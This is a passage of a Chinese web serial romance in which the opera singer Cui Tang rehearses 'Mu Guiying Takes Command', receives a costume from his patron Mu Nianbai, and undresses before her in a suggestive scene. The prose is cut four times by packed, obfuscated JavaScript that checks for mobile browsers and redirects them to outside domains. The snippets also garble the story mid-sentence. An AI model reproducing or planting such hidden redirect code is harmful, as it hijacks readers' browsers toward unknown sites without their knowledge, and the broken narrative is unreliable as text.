崔棠心中又羞又愧,只想用剧烈的疼痛来惩罚不知廉耻的自己。 ——那一夜穆念白对你多么嫌弃,你难道看不见吗? 如今竟对着她那一张冷脸发起情来了! 崔棠,你还要不要脸?! 崔棠猫儿一样窝成一团,紧紧裹着被子,将通红的脸颊紧紧贴在细软的锦被上蹭来蹭去,心里难过得几乎要哭出来。 他知道他一定是要栽在穆念白身上了。 他长这么大,从来没有人像穆念白这样爱惜他,救他性命、赠他新衣、送他家宅。 即使他总是猜不出穆念白的心思,也看不破她悠远深长的眼神,但他就是想一辈子都黏在她的身上。 做外室也好,做鸟雀也罢,只要穆念白愿意花时间来逗弄他,他就觉得欢喜。 崔棠将全部身躯都藏在被子里,缩头乌龟一样,他当然知道自己不该动情,也不能动情的。他这样的身份,原本就不该奢望穆念白的垂怜的,如今有幸得穆念白几分怜悯,竟还敢在这不知羞耻的得寸进尺。 崔棠蜷缩着腿,不可避免地胡思乱想,如今穆念白爱惜他,一是爱他的好颜色,二是爱他黄莺一样婉转悦耳的好嗓子,可他总是痴心妄想,想让穆念白再爱惜他一点。 崔棠轻轻抚摸过自己绸缎一样光滑细腻的皮肤——比如爱惜他娇嫩的皮肉,爱惜他柔软的身段,爱惜他情到浓时,潮红的脸颊。 一阵阵低吟从他紧锁的牙关里溢出来,崔棠不由得在心中怨恨起今夜的罪魁祸首来——隔壁那个叫秦可心的,不管他是忠是奸,他都不会给他一分好眼色的。 晨光熹微时,崔棠顶着一对青黑的眼圈,神情恍惚地爬了起来。 虽然深思倦怠,崔棠却记得叶问道不日就要抵达扬州,无论自己昨夜如何遐想联翩,演砸了这出《穆桂英挂帅》,才是真正的灭顶之灾。 穆念白府中养着一套吹拉弹唱的班子,今日崔棠练透了基本功,就要她们将整出戏磨合一遍。 崔棠不知道她们技艺如何,但总记得自己是穆念白带回来的人,不能丢了穆念白的人。 他迎着初升的太阳,双腿分立,掐着腰站得笔直,任风吹雨打也不曾动摇,雕塑一样坚定,璀璨的阳光均匀地洒在他的身上,像为他镀上一层金身。 他深吸一口气,徐徐吐出,而后拿起腔调,吊起嗓子。 嘹亮又清脆的莺啼响遏行云,天上的飞鸟都要为他驻足。 崔棣听见这声音,自觉的自己换好了药,吊着一只胳膊,一瘸一拐地走到院中打了一桶水,又到厨房里生火烧水,给崔棠泡了一碗胖大海。 待崔棠唱罢,擦着汗找水喝的时候,正好能喝到解渴润喉的温开水。 崔棣蹙眉观察着崔棠微白的脸颊,忍不住关切地问:“哥哥,你哪里难受吗?” 崔棠一愣,低头上下看着自己身上隐隐作痛的伤口,他笑着,将崔棣发顶揉得鸟窝一样,温声安慰她:“我没什么难受的地方,都是些小毛病,忍一忍就好了。” 他怕崔棣不放心,索性半是强迫,半是央求的,推着崔棣的后背将她推回了屋。 穆念白给崔棣准备了几本书,封面上的篆书崔棠也看不太懂,便随手选了一本塞到崔棣手里,摁着她躺在床上,给她掖好被子,拍了拍她的头,谆谆叮嘱。 “我在外面用功,你也在里面用功,我唱完这一段,你也得把这本书读完。” 崔棣欲言又止,却也知道自己劝不住崔棠,只能等崔棠又练起来,悄悄溜进厨房给他打了个鸡蛋用香油冲开。 崔棣看着水面上亮津津的油花发呆——在遇见穆念白之前,她们兄妹二人,也许一个月都吃不上一个鸡蛋。 她垂着眼睛,看灶台上沸腾的开水,她是该听哥哥的话,好好读书的。 天光大亮时,害崔棠胡思乱想一宿的那个罪魁祸首来自投罗网了。 未见其人,先闻其声。 秦可心踮着脚尖站在门外,一边拉动门环叩门,一边笑眯眯的,用脆生生的声音自报家门。 “崔棠哥哥,你在不在?我是隔壁的秦可心,我来找你玩啦。” 崔棠神色复杂地打开门,很难将眼前这个精致小巧的男人和昨夜那些缠绵放荡的声音联系起来。 秦可心比他低了半头,骨架纤细,手脚也细长,一双灵动的眼睛顾盼生辉。 他被宋好文养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282220|151881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的很好,一身鹅黄锦缎,将那张粉嫩的脸颊衬得桃李一般。 秦可心蹦蹦跳跳,小跑进来。自来熟的搂住崔棠,不管他一身的汗,亲昵地蹭着他的肩膀,俏生生地喊了声:“崔棠哥哥。” 秦可心像一只好奇心重的小兔子一样,在崔棠的院子里探险,一边看一边夸:“崔哥哥这里真好看,果然都说穆老板喜欢你,若是不喜欢,怎么肯为崔哥哥花这样多的心思呢?”。 崔棠心底对他的不满消散了大半,为他简单泡了壶粗茶,惭愧道:“我刚住进来,许多东西未曾准备,招待不周,你不要放在心上。” 秦可心不和他客气,一屁股坐到椅子上,捧着茶杯,小口小口地嘬着。 他弯着眼睛,笑眯眯的:“我怎么会介意这些呢?” 他凑过来,眨着眼睛,可怜巴巴地瞧着崔棠:“我还有事要求崔哥哥呢!” 崔棠有点招架不住他的热情,秦可心竹筒倒豆子一样,清脆的声音劈里啪啦地往外蹦:“崔哥哥,你唱戏唱得真好听,我也想学,你能教我吗?学会了,我唱给宋好文听,一定把她吓一跳!” 他生怕崔棠不答应,急忙将自己的诚意摆出来:“你教我唱戏,我教你读书写字。”他翘着尾巴自夸:“你别看我是个男人,诗词歌赋,我比宋好文学得还好呢!” 崔棠嘴唇动了动,知道这是穆念白为自己费的心思,既让他认字读书,又叫他免受那些学究的磋磨。 崔棠心中一阵酸软,急忙笑着点头应下。 “好,我教你唱戏,你教我读书。” “只是这些天三小姐叫我准备另一出戏,我恐怕顾不上你。” 秦可心拍了拍手,笑得爽朗:“这有什么的,我在这看着崔哥哥唱,自学就是了。” 他骄傲地挺起胸膛,“宋好文都夸我聪明呢!” 崔棠见他句句不离宋好文,满心艳羡。 自己和穆念白,何时也能这样熟稔呢? 他看着秦可心娇艳欲滴的面容,忍不住问:“昨夜...” 崔棠满脸羞红,总觉得自己冒昧,便敛了声,在那支支吾吾纠结了半晌,方才吞吞吐吐地问。 “你和宋老板...看起来很亲密。” 秦可心眨了眨圆润可爱的眼睛,先点了点头,坦然承认,而后他看着崔棠脸上的纠结与踟蹰,坏笑起来。 “你也想和三小姐这样亲密吗?” 他眨着眼睛,诱惑着崔棠。 “想让我教你吗?” 18. 登台的小外室 秦可心眨着眼睛,琥珀色的眸子蜜糖一样,诱惑着崔棠深陷其中。 崔棠用手指搓了搓脸颊,惊慌失措地错开眼睛,狼狈地躲过秦可心好奇的眼神,垂着眼睛,板着脸,努力地扮演一个正人君子。 “我...我并没有那样的奢望。” 秦可心拍着手,笑着打断他:“崔哥哥,这就是你的不对了,你怎么能妄自菲薄呢!扬州城里少说几万个男人,三小姐怎么就独独看中了了你?” 他走上前来,上下打量崔棠一番,秦可心捏了捏崔棠腰腹,眼中的羡慕不似作伪。 因为常年练功,崔棠纤细的骨骼上恰到好处地覆盖了一层紧实纤薄的肌肉。只是因为肤白,平时看不出什么,非得摸到手里,才能感觉到其中的奥妙。 秦可心由衷地夸赞他:“哥哥这样好的姿容身段,必然是在几万个男人里脱颖而出,才能叫三小姐青眼有加,带在身边时时照看的呀!” “除了你,三小姐几时带过别的男人回来?” 崔棠听着,忍不住抿嘴悄悄地笑,恍然发觉之后,又觉得自己轻浮张扬,只好捏起手指,轻轻掐掌心,好让自己不要笑得太得意。 崔棠回想起那夜的事,就觉得有些气馁,小声地说:“可是...可是三小姐看不上我。” 秦可心低下脑袋沉思了一会,很惊讶地反问他:“要是真的看不上你,为什么还要把你带到这来呢?”他又指了指过来为二人添水的崔棣,“若是看不上你,又为什么要为你的妹妹费心呢?” 崔棠无法反驳,只是在心底,仍然畏惧穆念白冰冷残忍的目光。 秦可心又歪着脑袋想了一会,拍手道:“就算三小姐曾经看不上你,那又怎么样呢?天底下哪有那么多一见钟情的神仙眷侣,还不都是你缠着我,我粘着你的怨偶?” “她嘴上说看不上你,谁知道是不是在心底觉得你美貌太甚,怕你志得意满,出去胡乱招蜂引蝶?故意做出瞧不上咱们的样子,没准心底已经欢喜得不成样了!” 秦可心不知道想到了什么,忽然气呼呼地将双手抱到胸前,义愤填膺道:“她们这些做生意的臭女人,都这么有钱了,还在乎这些,把这样的心计用到咱们头上来!” 他拉起崔棠的手,和崔棠抱怨:“你不知道,宋好文第一次见我也是这样,她都要把我嫌弃死了!簪花也不好,胭脂也不好,衣裳也不好,浑身上下就没有她满意的地方!” “现在看来,没准她就是跟穆念白学的呢!好处不学,净学这些坏的...” 秦可心还在嘟着嘴,小声地嘟嘟囔囔,崔棠却觉得心底的阴霾在刹那间都豁然开朗了。 原来是这样吗? 原来穆念白并没有嫌弃自己吗?原来她只是嘴上说说,在心底甚至可能喜欢自己吗? 崔棠轻轻将手平放在心口,掌心之下,是一颗躁动不安的心。 秦可心接下来的话更是要将他的魂都勾走了,秦可心凑到他的耳畔,很是见不得人一样,用微弱的气声,悄悄地同他嘀咕。 “而且呀,就算真看不上咱们也没关系的!就是孔圣人拒绝不了一个主动投怀送抱的、柔弱又可怜的漂亮男人呀!一次不行就两次,两次不行就三次,我就不信世界上真有铁石心肠的人!” 崔棠总觉得秦可心这话像是某种歪理邪说,可他又止不住地心动。 崔棠看着秦可心热切的眼神,红着脸偷偷摸摸地小声问:“你...你这个说法...验证,验证过吗?” 秦可心理所当然地点头,甚至很自豪地挺起胸膛:“当然!要是没用,我会和你说吗?宋好文就是我脱了衣服往她怀里躺了三次才躺到手的!” 崔棠犹犹豫豫,迟疑道:“会不会,会不会太...” 太主动,太放荡,太无耻? 世间哪个好男儿会选择用身体留住女人的心? 秦可心脸上那一派天真烂漫的笑容缓缓地收敛起来,却缓缓浮上一片哀戚:“我不这样,难道等着到了年纪,被鸨公十两银子一宿卖出去吗?” “我若没有用尽手段攀上宋好文,早就不知道死在什么地方了。” 秦可心握住崔棠的手,很认真地问他:“难道你还有比攀附穆三小姐更合适的选择吗?” 崔棠默然,只好摇头——他没有。 甚至在遇见穆念白之前,他从来没有过跟一个女人长久的奢望。在此之前,他想的只有好好将崔棣拉扯大,看着她娶夫生女,那他就算死,也能瞑目了。 但在今日,他心中悄然生出一个妄想。 但崔棠知道,现在还不是时候。崔棠下定决心,站起来,攥着拳头给自己打气,他看着秦可心,笑着邀请。 “谢谢你跟我说这些,我想明白了,我要继续练功去了,你要和我一起吗?” 秦可心发出一声雀跃的欢呼,紧紧跟在他的身后,比着他一丝不苟的动作,照猫画虎一样,也紧紧地掐着腰肢,歪歪斜斜向一侧踢腿。 不一会秦可心鼻尖上就覆盖了一层细密的汗珠,他喘着粗气,蹲在地上擦汗偷懒,可他只要抬头,就能看见崔棠感觉不到疲累一样,周而复始地重复着那些又累又苦的动作。崔棠雕塑一般,不管练了多久,腰杆永远挺拔地立着,划向远处的手臂永远绷得笔直。 汗珠顺着他的下巴尖滴落,在地面上汇聚成一汪水,水面映出他坚韧的双眸。 秦可心撑着下巴,小声感慨:“有这个毅力,你做什么都会成功的吧...” 崔棠带着秦可心练到傍晚时,穆念白遣了嘉禾过来,请崔棠去穆宅里和穆念白养的那班子伴奏的跑龙套的将《穆桂英挂帅》这一出戏试上一试。 嘉禾仿佛和崔棣差不多的年纪,只是看起来成熟沉静得多,她简单报过姓名,便提着灯笼一言不发地走在前面,头顶的碧玉发簪在崔棠眼前一晃一晃。 崔棠看得有些眩晕,心里又紧张,忍不住小心问道:“嘉禾...姑娘,三小姐在府中吗?” 嘉禾回头,静静打量他一会,对穆念白的举措也有十分不解:“三小姐为了看你的戏,把今晚的饭局都推了!也不知道你到底有什么好处,能让三小姐做出这样的让步。” 崔棠抿了抿嘴唇,心里又是欢喜又是紧张,他抬手,用袖口抹去额上的汗珠,在心中向老天许愿。 至少这一回,让他不要再出差错了。 为了迎接即将到来的叶问道,穆府上下已经装点起来了。叶问道不喜奢华,穆念白便将那些华美奢靡的金银玉石都撤下来,换上简拙古朴的青铜器物,院中修整出一小块平坦的青石板地面,充作临时的演武场。 崔棠到时,穆念白正手持长剑,鹏鸟一般在演武场中将手中冷刃舞得虎虎生风。 她一声白衣,宽袍大写被风吹得猎猎作响,华灯初上,琉璃灯柔和的光芒轻轻落在她的身上,穆念白沐浴在柔光中,风姿傲人有如谪仙。 穆念白闻声收剑入鞘,偏头看向看向早已经看呆了的崔棠,她皱了皱眉:“在那里愣着不动作什么?” 穆念白伸手,拎着崔棠的脖颈将他提到自己身前,拍了拍他的脸颊:“回神,我带你去戏台。” 为了迎合叶问道的喜好,穆府戏台也搭的低调内敛,只是该有的一应俱全,全不用崔棠费心。 吹拉弹唱的班子早已经侯在台下了,只等着崔棠登台试唱。 崔棠不敢耽误,就着穆念白的手匆匆喝了口茶润了润嗓子,将宽松的袖口裤脚用布条系起,深吸一口气,挺起胸膛,抬脚,目光坚定地登上台。 崔棠缓缓地环顾四周,只见下面操琴司鼓的具是往日自己高攀不上的大师,她们将乐器搁在膝上,模糊的面容藏在夜色中,都将嘴角紧紧抿着,睁着眼睛,沉默的将目光射在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14282221|151881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔棠身上。 崔棠吸了口气,心中明白她们的不满。 夜深露重,她们这些成名已久的大师却要坐在这等着给自己一个名不见经传,靠狐媚上位的戏子伴奏。 崔棠缓缓呼出一口浊气,先恭敬规矩地向台下作揖行礼,而后才端起穆桂英的架子,拿准腔调,字正腔圆地唱念起来。 伴奏的琴声没有任何征兆的加紧了节奏,锣鼓声一阵急促过一阵,声音也一声大过一声,崔棠铿锵昂扬的歌声几乎要被喧天的乐声淹没,他不得不顶起一口气,放开喉咙,拼尽全力跟上乐师们的节律。 穆念白坐在台下,双臂抱在胸前,阖着眼睛,却将英气的长眉蹙起,问精熟戏曲的张管家:“今日怎么唱的这么快?” 张管家轻哼一声:“这是乐师们和他较劲呢!三小姐,您且看着,这崔棠技艺不精,过不多时就会败下阵来的。” 穆念白抬眸看她一眼,奇道:“难得见你这么讨厌一个人。” 张管家又冷哼一声:“我确实看不上他那轻狂的样子,但若是三小姐喜欢,我忍了就是了。” 崔棠和乐师们的比较们似乎已经到了白热化的境地,乐师们的指尖蝴蝶一样在琴弦上翻飞起舞,快得只能让人捉住几分消散在空气中的残影。 崔棠也寸步不让,乐师们的奏乐快一分,他的唱词也快一分,还要比奏乐更高吭,更清脆,更动听。他的歌声若是飘到天上,天上的星辰都要为之倾倒,何况是穆念白这样的凡人? 穆念白平时听戏不求甚解,不过当作是一种取乐的方式罢了。今日听崔棠一曲,方知什么叫“此曲只应天上有”。 她有些惊诧地想,这样的好嗓子,竟然埋没在宝家班,可见自己的失职。 她叫来嘉禾轻声吩咐:“去把那个匣子拿来。” 这本来是等崔棠为她办成了事给他的奖赏,如今听了崔棠的戏,她更想今日当作礼物送给他。 台下乐师们卯足了劲,还想将乐曲奏得更快。 崔棠却忽然站定,双眸圆睁,月光烛光遥相辉映之下,他黑白分明的眼眸愈显灵动明亮。月光摇曳,银河仿佛都流进他的眼眸中。 他瞪圆了眼睛,目光灼灼地看向台下,他的目光仿佛有温度一样,将穆念白都烫得一颤。 崔棠缓缓深吸一口气,倏地凌空一跃,蹬着台面,鸟儿一样蹦跳至空中,绷紧脚尖,收起双腿,在空中翻转一圈后,稳稳落地,一手化剑,干脆利落地挡在身前,另一只手笔直悬在空中,做撩起披风的样子。 他八风不动地站定,高声唱。 “——我一剑能挡百万的兵!” 嘹亮歌声响遏行云,此声一出,万籁俱静。 乐师们仍然藏在夜色中,停下动作,安静地看着他,可崔棠已经听出台下的躁动与不安。 穆念白率先鼓起掌来:“好!” 乐师们左右看看,不知道是谁先动的手,附和着穆念白,响起稀稀拉拉的掌声来。然后缓缓扩散到整个台下,变成潮水一样,经久不衰的叫好声。 崔棠呼出一口浊气,彻底放松下来。 他擦着汗,揉着腿,轻移脚步,缓缓从台上下来,走到穆念白身前,半跪在她的脚下。 崔棠仰起那张明艳动人的脸,露出两颗虎牙,讨赏一样冲穆念白笑。 “三小姐,奴唱的好吗?” 穆念白垂着眼睛,用指尖轻轻拂过他汗津津的脸颊。 “自然是好极了。” 崔棠得寸进尺,将下巴搁在她的膝盖上,眨着水光潋滟的眼睛,眼巴巴地瞧她:“三小姐既觉得奴唱得好...”他侧了侧脑袋,用脸颊上的软肉蹭着穆念白的膝盖,“那三小姐能不能给奴一点奖励?” 穆念白温声轻笑,让嘉禾将半人高的檀木匣子呈了上来。 “看你这样卖力,我就给你个奖赏。” 19. 入室的小外室 崔棠听了这话,一双漂亮的眼睛里立马迸发出明亮的光彩,闪烁着光芒的黑水晶一样,好奇地瞧着那具镶着各色红绿宝石的紫褐色匣子。 柔和的月光轻移脚步,像一张轻盈的网,笼罩在檀木匣子上,那些白日里耀眼夺目的宝石就也披挂上了一层朦胧婉约的轻纱。 崔棠爱惜地抚摸着匣子,歪着头,很小心地问穆念白:“三小姐,您真的要把这个送给奴吗?” 穆念白颔首,用掌心为他揉去额头上细密的汗珠,她反问崔棠:“女子一言,驷马难追,你什么时候见我说话不算数过?” 她粗糙温热的掌心擦过崔棠眉心,不知道是因为剧烈的运动还是什么,崔棠总觉得自己的脸又变得通红滚烫,他几乎控制不住自己的眼神,一个劲地往匣子上面瞅。 穆念白看着他渴求好奇的小模样,心中舒畅极了,便轻轻推了推他的肩膀,催促他:“不打开看看吗?” 崔棠露出两颗尖锐的虎牙,弯着眼睛看着她笑:“奴在猜三小姐会送什么给奴呢!” 穆念白笑了笑,解下自己的发带,绕过崔棠双眸,在他脑后系紧,自己则捉起他的手,牵引着他在匣子上上下摸索。 穆念白低头,看见他绯红的小巧耳尖,她忍不住伸手,用拇指搓捻着崔棠滚烫柔软的耳尖,敏锐地觉察到怀中的小鸟一阵瑟缩颤抖。 崔棠双眼都被蒙住,眼前只有一片漆黑朦胧。穆念白宽阔的胸膛紧紧顶着自己的后背,清淡的冷香萦绕在他的鼻尖,他得寸进尺地往后退了几步,只觉得自己几乎要跌进一片温暖柔软的云朵里。 他听见穆念白轻轻笑了笑,伸出手像逗弄小动物一样揉捏着他脆弱敏感的耳尖、耳垂。 崔棠脑子里仅存的理智好像都被穆念白的手指搓捻成了浆糊,一阵烈火从他的脚底直冲颅顶,穆念白像一尊熊熊燃烧着的火炉,将他轻薄的肌肤烘烤得通红滚烫。 崔棠忍不住,发出一阵难耐的颤抖,虽被穆念白紧紧箍在怀中,仍然努力挣扎了一番,想从这个让人意乱情迷的陷阱中挣脱出去。 穆念白轻哼一声,惩戒一样捏着他的耳垂,用力向外扯了扯。 崔棠吃痛,只好瘪着嘴,红着脸,窝在穆念白怀中一动不动地趴窝。 穆念白用自己宽大的掌心覆盖住崔棠小巧的手掌,忍不住一根根抚摸着他葱白一样细嫩的手指,将崔棠的脸摸得愈来愈红了。 穆念白待自己这样亲密,是不是说明,她在心底,也在期待着更近一步的关系。 崔棠牙齿打颤,轻声唤道:“三小姐...” 穆念白回过神,恋恋不舍地收回手,只是垂着眼睛,定定地看着崔棠白玉一样无暇的手。 配一个什么样式的手钏才更好看呢? 崔棠唤了几声,穆念白却迟迟没有反应,他咬了咬嘴唇,轻轻摇晃着穆念白的袖口,小声哀求。 “三小姐,奴怕黑,您把发带解下来吧。” 他不说还好,他可怜巴巴地一求,穆念白反而又起了坏心。她不仅不解下来,甚至将它系得更紧了些,崔棠紧张得紧紧捉住她的手指不放,穆念白便牵引着他的手,给嘉禾使了个颜色,示意她将匣子打开。 穆念白引导着他一寸寸摸索匣中锦衣玉饰。 穆念白温热的呼吸扑洒在崔棠的颈侧,像羽毛一样拂过他滚烫的皮肉,“不是要猜吗?那就好好猜一猜我送了什么给你。” “猜对了,我就帮你解开,” 崔棠可怜巴巴地哀求了几次,见穆念白不为所动,只好认命地哀叹一声,仔细摩挲着匣中的东西。 一件衣裳,光滑的丝绸缎面上铺满针脚细密平整的绣花,上方还端端正正地放着一顶威风凛凛的头冠,两根长长的翎羽,凤凰一样微威风地挺立着。 崔棠惊喜地叫出来:“一整套行头!” 穆念白笑着,将发带解下来,牵着崔棠的手,笑呵呵地看着他欢呼雀跃,像只小鸟一样,大惊小怪地围着匣子里的戏服欣赏。 穆念白站在他身边,为他将烛台高高举起,好让他将戏服上镶嵌的珠宝玉饰,交错的金银丝线看得更仔细些。 崔棠在身上使劲擦了好几遍手,才敢仔细抚摸粉红戏服上灵动鲜活的绣花,他又惊又喜地看向穆念白,不敢置信地问:“三小姐,您真的要把它送给奴吗?” 这,这这得多少钱呀? 宝家班那几个豁出去换了脸面回来的戏子,他们也有自己的行头。崔棠每每见他们穿着合身又华美的戏服在戏台上婉约婀娜,步步生莲,只有在心里偷偷羡慕的份。他甚至会在夜里,趁大家都睡熟了,偷偷打开他们的箱笼,爱惜得抚摸鲜亮戏服上漂亮的绣花。 可那些人的戏服加在一起,也比不过穆念白送给他的这一身穆桂英挂帅的行头! 崔棠甚至都不敢想象,做这样一身衣裳,要耗费多少昂贵丝绸,耗费多少人力物力。 穆念白看着他脸上满足的笑容,心中受用极了,面上却不显,只是平淡道:“只要你喜欢,花费多少都无关紧要的。” 反正这只小黄莺一点不贪婪,很容易就感到满足。 养这样一只小黄莺,也花不了多少钱。 崔棠小心翼翼的将戏服拿出来,在身上比来比去,偏头,眨着眼睛问穆念白:“三小姐,奴穿着好看吗?” 穆念白心意微动,看了嘉禾一眼,嘉禾会意,带着张管家去给乐师们发赏钱,言笑款款的送她们出府。 如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“奴这样的人,怎么能堂而皇之地进三小姐的卧房呢?” 穆念白看出他欲擒故纵的小把戏,回过头似笑非笑地看着他,她伸手接过崔棠一直小心抱在怀中的戏服,抬起下巴点了点前面房门。 “我那才有全身的镜子,你不想穿上看看?” 崔棠低着头,对着手指,佯装犹豫地纠结起来。 穆念白作势,要将戏服扔回到他怀里,勾着嘴角笑。 “你要不喜欢进我的屋子,我就找人送你回去。” “怎么样,你更喜欢哪一种?” 20. 换衣的小外室 穆念白当即作势就要喊人过来将崔棠送回去。 这回换崔棠心急火燎了,他急忙一把捉住穆念白的袖口,站在原地咬着嘴唇踮着脚尖,用上全身的力气,好容易才将穆念白拉住。 穆念白似笑非笑地看着他,反手握住他的手,像抚摸猫儿狗儿一样,有一搭没一搭地抚摸过崔棠光滑的手背,穆念白侧着眼睛,促狭地看着他:“送你走,你又不高兴。” 崔棠微微垂着头,如瀑长发贴着脸颊的轮廓垂落,月影之下,绯红诱人的皮肉若隐若现,他低垂着眼睛,悄悄地看穆念白,眼波如光样流转。 他别别扭扭,将自己说过的话全打翻了。 “奴,奴那没有全身的镜子,不如...在三小姐这儿试了再回去!” 穆念白微笑着,圈起手指随手在崔棠脑门上敲了一下:“就知道耍这些小心思。” 崔棠“诶哟”一声,揉着脑袋,小心地抱着那身昂贵的衣裳,瘪着嘴,不远不近地跟在穆念白身后,小声地嘟嘟囔囔。 穆念白听见身后那只小鸟不间断的嘀嘀咕咕,忍不住侧过身,回头挑眉看着崔棠。 崔棠立马刹住脚步,紧紧抿着嘴唇,睁大眼睛,一眨不眨,满脸无辜地看着穆念白。 “三小姐这么看着奴作什么?奴脸上有东西吗?” 他一边说着,一边装模做样地用袖口蹭着脸颊。 穆念白微微一笑,用力捏了捏他的脸颊。 “有点上不得台面的小聪明,我给你擦掉。” 穆念白转过身去,崔棠便悄悄地叹气,他心中气馁极了,明明在鼎香楼里唱戏的时候,这些小手段、小伎俩、小聪明无往而不利,总能为崔棣换来几块点心钱,怎么到穆念白这就统统不管用了呢? 崔棠心中又有些失落,这是不是意味着...穆念白已经见识过了许多许多自己这样有几分姿色,还有几分小聪明的男人? 他到底怎样...才能在穆念白见过的数不胜数的男人们中脱颖而出呢? 呼吸交错之间,二人已经进了穆念白的卧房。 非礼勿视,崔棠不敢无礼多看,只敢垂着眼眸瞧自己小巧的鞋尖,局促不安地搅着手指。 穆念白看出他的紧张,轻声安慰:“这里面没什么不能看的,你只管抬头大大方方地看便是了。” 崔棠得了她准许,才小心翼翼地抬起头,好奇又谨慎地打量着房间中的陈设,暗自在心中猜测着穆念白的喜好。 他看出穆念白不喜奢华,屋中少见金银器物,陈设装饰多用青玉奇石,多宝阁上不见耀眼宝石,只有几尊清雅古朴的细口瓷瓶,玉色的冰裂纹瓷瓶中斜插一只含苞待放的白梅,月光之下疏影横斜,崔棠只觉暗香扑鼻。 床榻放在里间,崔棠是万万不敢多看的,他害怕穆念白嫌他轻浮。 穆念白亲自动手,将放在里间的铜镜挪了过来。 崔棠估摸着那镜子少说有七八十斤重,穆念白竟脸不红气不喘,只是略挽了挽袖口就轻而易举的把他挪了过来。 崔棠不信邪,趁穆念白转过身去,上前卯足了劲使劲推了推,他推得咬牙切齿,可那一人高的铜镜仍然不动如山。 穆念白的力气到底有多大,她平时看着也是锦衣玉食的,怎么会有这么大的力气?方才自己来时,还看见她在校场里舞剑,身姿矫健,舞动如龙,真是好看极了。 崔棠觉得自己的脸颊又有些烫。 穆念白看着他满脸通红,恨不得使出吃奶的劲推那镜子,忍不住地笑。 “你和它较什么劲,我是跑码头抗货,走南闯北行商练出来的力气,要是你咿咿呀呀唱几句也能练成,那我这些年岂不是白干了。” 崔棠伸出胳膊,向她展示自己修长手臂上那一层纤薄紧实的肌肉,他有些不服气:“我也是有些力气的!是三小姐您太厉害了!” 穆念白笑笑,从崔棠手中接过戏服,在烛光下抖开,哄他:“试试衣裳,也让我看看你那一身力气。” 一袭华丽的丝绸衣袍泉水一样流淌开来,崔棠不错眼地看着,心中对穆念白的喜欢与仰慕又浓郁几分,几乎要化不开。 穆念白提着戏服示意他:“试试?” 嘉禾早就领会了穆念白的心意,早早的将屋中伺候的小丫头们撤走了。如银月光漫过窗棂,在二人之间洒下一条玉带一样的光影。 崔棠轻迈一步,越过那道月光,主动凑到穆念白身边。 他从穆念白身边走过,仰起脸,眨着眼睛,却用尾指悄悄勾起穆念白的手指,抿着嘴唇轻轻地笑。 他走到比他还高的铜镜前,背对穆念白站定。 穆念白不动声色,却过去将蜡烛又点亮几根,让柔和的火光均匀地映照在崔棠身上。 崔棠看着镜中的自己,绯红的脸颊,颤抖的指尖。 他深吸一口气,指尖抚摸上领口的子母扣,他闭上眼,定了定神,分开双腿,与肩同宽,大方又镇静地将身上的衣物一件件的褪下来,叠得整整齐齐,规整地码在一边。 他脱得只剩一层纤薄透肤的中衣,洗得透明的中衣里隐约透出几分白瓷一样肌肤来。他目光悄悄向后,见穆念白并没有制止的意思,便大着胆子,自作主张,将中衣也脱下来叠好放在一边。 崔棠已经脱得□□,背对着她,穆念白便能清楚地看见他后背上一对漂亮的蝴蝶骨。 穆念白差点错不开眼,崔棠说的不错,他看起来却是有几分力气,纤细小巧的骨骼上恰到好处地覆盖了一层紧实秀气的肌肉,让她忍不住想要摸一摸,捏一捏。 烛光之下,柔和婉约的躯干线条更显曼妙。 穆念白垂下眼睛,嘴角含笑,摩挲着腕间珠串。 那一夜灯光昏黄,她竟没瞧见这样一副好春光。 崔棠赤条条的,转过身来,脚步轻移,悄悄地走到穆念白身边,像只乖顺的鸟儿一样在她膝边半跪下,攀着她的手请求:“三小姐,您能帮奴穿上这戏服吗?” 穆念白微笑着颔首,示意他站直,崔棠便站得笔直,张开修长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14282223|151881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地双臂,将身上的每一个角落都大方地展示给穆念白,等待着她的观赏与审判。 穆念白的指尖如火,缓慢的从他皮肤的每一寸轻轻掠过,留下一地的兵荒马乱。 穆念白抚摸过崔棠光滑无暇的肌肤,轻轻将戏服搭在他的身上,不辞辛劳,亲手为他整理袖口与领口。 冰凉的指尖擦过崔棠的喉结,崔棠喉间一滚,一阵瑟缩。穆念白从他身后伸出手,捧起他的脸颊,明知故问。 “不过换个衣裳,你的脸怎么这么红?” 